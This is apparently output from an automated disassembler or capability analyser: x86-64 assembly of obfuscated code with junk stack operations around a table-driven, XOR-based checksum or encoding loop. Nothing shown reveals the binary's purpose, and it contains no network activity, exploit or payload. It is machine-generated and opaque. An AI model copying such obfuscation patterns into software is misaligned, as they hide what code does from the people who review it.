call fcn.14021c74e
cmp ebx, 4
push 0xffffffffd5b81517
lea rsp, [rsp + 0x10]
jne 0x1401f5e53
mov r9d, 0xf6391dbf
mov r9, rax
call fcn.140219a02
mov r11d, 0x4335de0d
movsx edi, r11w
mov r11d, dword [r10 + r11 - 0x4335de0d]
jmp 0x1401bb603
mov ebx, dword [r9 + 8]
not byte [rsp + 6]
add r9, 4
div ebx
mov ebx, 0xbb88aa93
mov r10d, 0x711bb83b
mov dword [r9 + r10 - 0x711bb83b], edx
movsx edx, bl
sub r10w, bx
call fcn.1401d4bab
mov eax, 0xa7be7fb3
mov rax, qword [rbp + rbx*8 + 0x20]
push 0x60bbd0b7
inc word [rsp + 4]
mov qword [rsp], rax

Function at 0x1401e3d32
Capabilities:
Encode data using xor

Disassembly:
push 0x83c6aad
push 0x5a601b3
lea rsp, [rsp + 0x20]
je 0x1401e3d97
lea rcx, [0x1401e9938]
movzx r10d, byte [rax]
push 0xffffffffc8bd599b
ror byte [rsp + 5], 0x22
xor r10d, edx
and r10d, 0xff
not byte [rsp + 3]
sal byte [rsp + 4], 0x86
mov r10d, dword [rcx + r10*4]
adc word [rsp + 1], 0x5f84
shr edx, 8
xor edx, r10d
inc rax
xor edx, 0x47002d2f
dec r11
lea rsp, [rsp + 8]
jne 0x1401e3d4e
not edx
mov r10d, 0x6d29c228
mov dword [r9 + r10 - 0x6d29c228], edx
lea r8, [r10*2 - 0x2969c177]
mov eax, dword [r10 + rbp - 0x6d29c228]
movsx ebx, r8w
add r8, r8
lea rbp, [rbp + r10 - 0x6d29c224]
call fcn.1401de3f4
call fcn.1401ee897